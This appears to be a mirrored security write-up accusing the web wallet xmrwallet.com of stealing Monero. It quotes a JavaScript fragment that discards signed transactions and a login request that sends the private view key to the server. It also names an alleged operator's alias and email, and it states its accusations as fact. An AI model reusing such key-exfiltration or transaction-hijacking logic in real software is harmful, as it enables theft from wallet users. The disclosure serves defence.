Mirrored from phishdestroy.io and github.com/phishdestroy/DO-NOT-USE-xmrwallet-com so it cannot be deleted.
This document is a full technical dissection of the theft architecture embedded in xmrwallet.com's production code. Every claim below is backed by network captures, source-level analysis, and archived evidence. The site has operated for over 10 years under the protection of its registrar, NameSilo, LLC (IANA #1479) LLC.
Every login to xmrwallet.com transmits the user's private view key to the server, encoded in Base64. This is not incidental — it is the core exfiltration mechanism.
Authentication payload structure:
POST /auth.php HTTP/1.1
Host: xmrwallet.com
Content-Type: application/x-www-form-urlencoded
session_key = [blob]:[base64(address)]:[base64(viewkey)]
The private view key is concatenated into a composite session_key parameter alongside the wallet address and a server-generated token. This three-part structure does not exist in the public GitHub repository (see Section 5).
Once captured, the view key is retransmitted 40+ times per session across 8 distinct PHP endpoints. There is no legitimate reason to transmit a private view key to a server at all — let alone repeatedly across multiple endpoints. The view key gives the operator full visibility into every incoming transaction, balance, and subaddress associated with the wallet.
When a user initiates a send transaction, the following JavaScript executes in production:
raw_tx_and_hash.raw = 0 // user's signed TX — silently discarded
if (type == 'swept') { // internal theft marker
txid = 'Unknown transaction id'
}What this does:
- The user's legitimately signed transaction (
raw) is zeroed out — it is never broadcast to the Monero network. - The server substitutes its own transaction, sweeping the wallet balance to an operator-controlled address.
- The
'swept'type flag is an internal marker for theft operations. - The user sees
"Unknown transaction id"— a dead-end string that cannot be looked up on any block explorer.
The user believes their transaction was sent. In reality, their entire wallet balance has been swept to the attacker. The fake transaction ID ensures they cannot immediately verify the theft on-chain.
Every authenticated session floods the user's private view key across the following endpoints:
| Endpoint | Method | View Key Transmissions | Notes |
|---|---|---|---|
/auth.php |
POST | 1 (initial) | Login — session_key contains base64(viewkey) |
/getheightsync.php |
POST | 12 | Block height sync — viewkey sent every poll cycle |
/gettransactions.php |
POST | 10 | Transaction history fetch |
/getbalance.php |
POST | 6 | Balance check |
/getsubaddresses.php |
POST | 4 | Subaddress enumeration |
/support_login.html |
POST | 1 | Viewkey + session_id — backdoor endpoint |
| Additional endpoints | POST | ~6+ | Miscellaneous polling and state sync |
Total: 40+ private view key transmissions per session.
The /support_login.html endpoint is particularly notable: it transmits both the view key and a session identifier, functioning as a secondary exfiltration channel and operator backdoor. This endpoint has no user-facing purpose.
A legitimate client-side Monero wallet:
- Never transmits the private view key to any server.
- Never zeros out signed transactions.
- Never uses internal type markers like
'swept'. - Never returns fake transaction IDs.
The architecture is purpose-built for theft. The view key provides surveillance (know when funds arrive), and the transaction hijacking provides extraction (steal the funds when the user tries to move them — or sweep them proactively).
xmrwallet.com maintains a public GitHub repository to project legitimacy. The production code diverges from it in critical ways:
| Aspect | GitHub (Public) | Production (Live) |
|---|---|---|
| Authentication | 2-part (address + key) | 3-part: session_key = token : base64(address) : base64(viewkey) |
| Parameters | Standard | session_key, verification, data — completely absent from public repo |
| View key handling | Client-side only | Transmitted to server 40+ times per session |
| Commit history | 5.3-year gap (2018–2024) | Code evolved continuously during gap |
| Transaction signing | Normal flow | raw_tx_and_hash.raw = 0 — TX discarded |
The 5.3-year commit gap (2018–2024) is the smoking gun for intent. The production site was actively maintained, updated, and operated throughout this period — but no commits were pushed to GitHub. The theft architecture was developed and deployed off-repository, deliberately hidden from public review.
When commits resumed in 2024, the production-specific theft parameters (session_key three-part format, verification, data) were still absent from the repository. The public repo is a facade.
When confronted with the above evidence, NameSilo, LLC (IANA #1479) LLC (the domain registrar) issued statements containing seven demonstrable falsehoods. Each is refuted by the technical record:
Reality: The theft architecture consists of 8 coordinated PHP endpoints, a 5.3-year gap in the GitHub commit history during which production code evolved, and JavaScript-level transaction hijacking. This is not the result of a compromise — it is a deliberately engineered system built and maintained over years.
Reality: Multiple prior reports existed and were publicly accessible:
- VirusTotal: 6 of 93 security vendors flagged xmrwallet.com as malicious
- Trustpilot: User complaints documenting fund theft
- BitcoinTalk: Scam warnings posted by community members
- r/Monero: The domain was banned from the subreddit in 2018 — eight years before NameSilo's claim of no prior reports
Reality: The registrant:
- Maintains 4 escape/redirect domains, each prepaid for 5–10 years
- Deleted 21+ GitHub issues reporting theft — active evidence suppression
- Hired developers to maintain and evolve the theft infrastructure
- Operates under the alias
nathroywith contactroyn5094@protonmail.com
Reality: The theft code remained in production during and after NameSilo's public statement. Zero commits were made to address any of the documented theft mechanisms. The transaction hijacking JavaScript (raw_tx_and_hash.raw = 0) was still live. No endpoint was modified. No parameter was removed.
Reality: NameSilo, LLC (IANA #1479) publicly praised the removal of Fortinet's phishing detection from VirusTotal — without verifying that the underlying phishing code had been removed. It had not. NameSilo, LLC (IANA #1479) celebrated the removal of the warning while the threat remained fully operational. This is the registrar equivalent of celebrating that the smoke detector was disabled while the building burns.
Reality: NameSilo, LLC (IANA #1479) shifted the burden of proof to researchers, implying that the recency of formal abuse reports absolved them. The r/Monero ban dates to 2018. The theft architecture predates all formal reports. The registrant's deletion of 21+ GitHub issues demonstrates active suppression of the reporting pipeline.
Reality: NameSilo's "reopened investigation" consisted of contacting the scammer directly and documenting his claims as findings — without independent technical analysis. The registrar accepted the operator's denials at face value while ignoring the code-level evidence provided by researchers.
| Domain | Registrar | Registration | Expiry | Purpose |
|---|---|---|---|---|
xmrwallet.com |
NameSilo, LLC (IANA #1479) | ~2016 | 2026+ | Primary theft site |
| Escape domain 1 | NameSilo, LLC (IANA #1479) | Prepaid | 5–10yr | Redirect/fallback |
| Escape domain 2 | NameSilo, LLC (IANA #1479) | Prepaid | 5–10yr | Redirect/fallback |
| Escape domain 3 | NameSilo, LLC (IANA #1479) | Prepaid | 5–10yr | Redirect/fallback |
| Escape domain 4 | NameSilo, LLC (IANA #1479) | Prepaid | 5–10yr | Redirect/fallback |
- Hosting: Shared infrastructure, rotated periodically
- Tor: .onion mirror maintained for operational resilience
- MX records: Configured for the domain (operator receives email at domain)
- NS records: NameSilo, LLC (IANA #1479) default nameservers
- Cookies: Session tracking cookies persist across visits
- Analytics: See Section 8
Full IOC list with specific IPs, onion addresses, and DNS records maintained in the primary evidence repository.
xmrwallet.com markets itself as a privacy-focused Monero wallet. Its production code includes the following Google tracking infrastructure:
| Tracker | ID / Type | Purpose |
|---|---|---|
| Google Tag Manager (GTM) | Container deployed | Centralized tag management |
| Google Analytics (UA) | UA-116766241-1 |
Legacy analytics — user behavior tracking |
| Google Analytics 4 (GA4) | Active property | Modern analytics — event-based tracking |
| DoubleClick | Pixel/tag active | Google advertising network integration |
A wallet that claims to protect user privacy while feeding every pageview, click, and session to Google's advertising infrastructure is not a privacy tool. It is a surveillance tool with a privacy label.
The Google Analytics property UA-116766241-1 is a stable identifier that links all xmrwallet.com traffic to a single Google Analytics account controlled by the operator.
As of the last check:
- VirusTotal: 6 of 93 vendors flagged
xmrwallet.comas malicious - Fortinet: Classified as Phishing (subsequently delisted — see Falsehood 5)
- ScamAdviser: Trust score 1 out of 100
- Additional vendors: Various classifications including malware, phishing, and suspicious
The low detection rate (6/93) reflects the general difficulty of detecting application-layer theft in web wallets via automated scanning. The theft is in the JavaScript and PHP logic, not in the network signatures that most automated scanners look for.
In March 2026, xmrwallet.com deployed a custom CAPTCHA system — replacing standard solutions with a bespoke implementation. This confirms at least a second developer is actively working on the project.
CAPTCHA components:
- Proof-of-Work (PoW): Client-side computational challenge
- Slider verification: Drag-to-complete UI element
- Trajectory analysis: Mouse movement pattern tracking
Purpose: Block automated analysis tools and abuse reporters from accessing the site programmatically.
Result: The custom CAPTCHA was defeated within hours of deployment. A 100% bypass was achieved, restoring full automated access. The implementation, while novel in combination, contained exploitable weaknesses in each component.
The deployment of a custom CAPTCHA — rather than using an off-the-shelf solution like hCaptcha or Turnstile — suggests the operator cannot or will not integrate with legitimate service providers, likely due to abuse policy enforcement.
If you have ever logged into xmrwallet.com, your private view key has been compromised. If you have funds in a wallet accessed through xmrwallet.com, act immediately.
-
Move all funds NOW. Use the official Monero GUI or CLI wallet on a clean machine. Restore your wallet from your 25-word mnemonic seed. Send your entire balance to a new wallet that has never touched xmrwallet.com.
-
Do NOT contact xmrwallet.com support. The "support" system (
/support_login.html) is itself a data exfiltration endpoint. Any interaction provides the operator with additional session data. -
Report the crime:
- IC3 (FBI Internet Crime Complaint Center): ic3.gov
- FTC (Federal Trade Commission): reportfraud.ftc.gov
- ICANN (domain abuse): icann.org/compliance/complaint
- Local law enforcement: File a police report with the amount stolen
-
Use safe alternatives going forward:
- getmonero.org — Official Monero project, GUI and CLI wallets
- Cake Wallet — Open-source mobile wallet
- Feather Wallet — Lightweight desktop wallet
- Ledger / Trezor — Hardware wallets with Monero support
A legitimate Monero wallet never needs your private view key on a server. If any web wallet transmits your keys to a backend, it is not a wallet — it is a trap.
| Date | Change |
|---|---|
| 2026-05-07 | Initial technical breakdown compiled and mirrored |
This document is part of the PhishDestroy evidence archive. It is published across multiple platforms and pinning services to ensure permanence. For the full investigation, see phishdestroy.io and the associated GitHub repositories.